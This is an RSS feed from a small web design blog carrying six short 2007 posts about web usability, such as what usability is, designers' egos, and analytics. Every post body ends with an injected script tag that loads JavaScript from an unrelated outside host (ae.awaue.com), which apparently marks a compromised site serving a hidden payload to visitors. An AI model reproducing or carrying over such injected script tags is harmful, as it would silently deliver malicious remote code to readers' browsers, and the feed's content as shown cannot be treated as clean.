<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pixelpunk blog &#187; usability</title>
	<atom:link href="http://blog.pixelpunk.com/category/usability/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.pixelpunk.com</link>
	<description>said and done</description>
	<lastBuildDate>Fri, 11 Jun 2010 17:11:02 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>The Designers Dilemma</title>
		<link>http://blog.pixelpunk.com/designers-dilemma/</link>
		<comments>http://blog.pixelpunk.com/designers-dilemma/#comments</comments>
		<pubDate>Tue, 16 Oct 2007 18:31:19 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://blog.pixelpunk.com/?p=98</guid>
		<description><![CDATA[One of the problems with Web designers is that they often design to satisfy their own creative egos rather than the needs of their end-users. They forget that real people will be using their sites. Today&#8217;s designers need to worry less about winning awards and more about creating Web sites that actually deliver the information [...]]]></description>
			<content:encoded><![CDATA[<p>One of the problems with Web designers is that they often design to satisfy their own creative egos rather than the needs of their end-users. They forget that <em>real</em> people will be using their sites. Today&#8217;s designers need to worry less about winning awards and more about creating Web sites that actually deliver the information that people are looking for &#8230;quickly<em> and</em> easily.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pixelpunk.com/designers-dilemma/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Technology Changes. People Don&#8217;t.</title>
		<link>http://blog.pixelpunk.com/technology-changes-people-dont/</link>
		<comments>http://blog.pixelpunk.com/technology-changes-people-dont/#comments</comments>
		<pubDate>Fri, 12 Oct 2007 12:30:14 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://blog.pixelpunk.com/?p=96</guid>
		<description><![CDATA[Sure, my Mom is better at navigating the Web today than she was 5 years ago. But not much. So even though technology has made quantum leaps in the last few years (AJAX, XML, the DOM, etc.)&#8230;the basic needs of people and how they behave has remained the same. I don&#8217;t know how many times [...]]]></description>
			<content:encoded><![CDATA[<p>Sure, my Mom is better at navigating the Web today than she was 5 years ago. But not much. So even though technology has made quantum leaps in the last few years (AJAX, XML, the DOM, etc.)&#8230;the basic needs of people and how they behave has remained the same. I don&#8217;t know how many times I&#8217;ve heard fellow designers say, &quot;They&#8217;ll figure it out, people are used to surfing the Web now! They <em>like</em> to experiment!&quot;. Wrong. If you think your users will need to &quot;figure it out&quot; then <em>you&#8217;ve</em> designed it wrong and need to go back to the drawing board. Just because people have faster Internet connections, big fancy hi-resolution monitors, and wireless, laser-accurate pointing devices (mouses?) doesn&#8217;t mean that human nature has changed.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pixelpunk.com/technology-changes-people-dont/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What is Usability?</title>
		<link>http://blog.pixelpunk.com/what-is-usability/</link>
		<comments>http://blog.pixelpunk.com/what-is-usability/#comments</comments>
		<pubDate>Fri, 05 Oct 2007 18:28:57 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://blog.pixelpunk.com/?p=94</guid>
		<description><![CDATA[Let&#8217;s begin at the beginning by answering this simple question. Usability is simply how easy it is for a user to understand and operate your &#8216;thing&#8217; and accomplish their goals. This &#8216;thing&#8217; could be a Web site, a car, a refrigerator, or an MP3 player&#8230;it doesn&#8217;t matter. What matters is that your customer immediately understands [...]]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s begin at the beginning by answering this simple question. Usability is simply how easy it is for a user to understand and operate your &#8216;thing&#8217; and accomplish their goals. This &#8216;thing&#8217; could be a Web site, a car, a refrigerator, or an MP3 player&#8230;it doesn&#8217;t matter. What matters is that your customer immediately understands how to work with it without having to read the user manual. The &#8216;learning curve&#8217; should seem invisible and users should feel delighted with the ease-of-use and the efficiency of completing their task.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pixelpunk.com/what-is-usability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Analytics to Identify Usability Issues</title>
		<link>http://blog.pixelpunk.com/identify-usability-issues/</link>
		<comments>http://blog.pixelpunk.com/identify-usability-issues/#comments</comments>
		<pubDate>Sun, 16 Sep 2007 16:58:19 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://blog.pixelpunk.com/?p=83</guid>
		<description><![CDATA[Using an analytics package like Google Analytics or WebTrends can help you get a grasp on how people are using and traveling throughout your site. Are they hitting your home page then immediately bailing? This would be an obvious indication that you have a usability problem. Are they getting you your product pages but not [...]]]></description>
			<content:encoded><![CDATA[<p>Using an analytics package like Google Analytics or WebTrends can help you get a grasp on how people are using and traveling throughout your site. Are they hitting your home page then immediately bailing? This would be an obvious indication that you have a usability problem. Are they getting you your product pages but not converting to customers? Then your product pages deserve another look. And what about your shopping cart? Analytics can give you a birds-eye view of how your customers are behaving on your site.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pixelpunk.com/identify-usability-issues/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>All You Need To Know About Usability</title>
		<link>http://blog.pixelpunk.com/about-usability/</link>
		<comments>http://blog.pixelpunk.com/about-usability/#comments</comments>
		<pubDate>Wed, 12 Sep 2007 08:02:42 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://blog.pixelpunk.com/?p=88</guid>
		<description><![CDATA[Your site is successful only if your users are successful. That&#8217;s the basic premise of usability. User experience = customer service. Answers the customer&#8217;s questions, anticipate their questions, make things easy to find, and meet their needs. And that&#8217;s all you really need to know.
]]></description>
			<content:encoded><![CDATA[<p>Your site is successful only if your users are successful. That&#8217;s the basic premise of usability. User experience = customer service. Answers the customer&#8217;s questions, <em>anticipate</em> their questions, make things easy to find, and meet their needs. And that&#8217;s all you really need to know.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pixelpunk.com/about-usability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Usability Provides a Competitive Advantage</title>
		<link>http://blog.pixelpunk.com/usability-competitive-advantage/</link>
		<comments>http://blog.pixelpunk.com/usability-competitive-advantage/#comments</comments>
		<pubDate>Sun, 09 Sep 2007 19:25:37 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://blog.pixelpunk.com/?p=90</guid>
		<description><![CDATA[If your product is easy to use, customers will use it more often and will be more likely to tell their friends about it. Consider how many people use search engines to find what they are looking for&#8230;the consumer is presented with literally thousands of companies to choose from. All things being equal, if your [...]]]></description>
			<content:encoded><![CDATA[<p>If your product is easy to use, customers will use it more often and will be more likely to tell their friends about it. Consider how many people use search engines to find what they are looking for&#8230;the consumer is presented with literally thousands of companies to choose from. All things being equal, if your Web site is easier to understand and allows your customer to be more productive than your competitor&#8217;s site does, you win. By designing a usable Web site, you are helping your clients succeed at their task while simultaneously increasing your own revenues and positive brand reputation. It&#8217;s a win-win for all parties involved.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.pixelpunk.com/usability-competitive-advantage/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
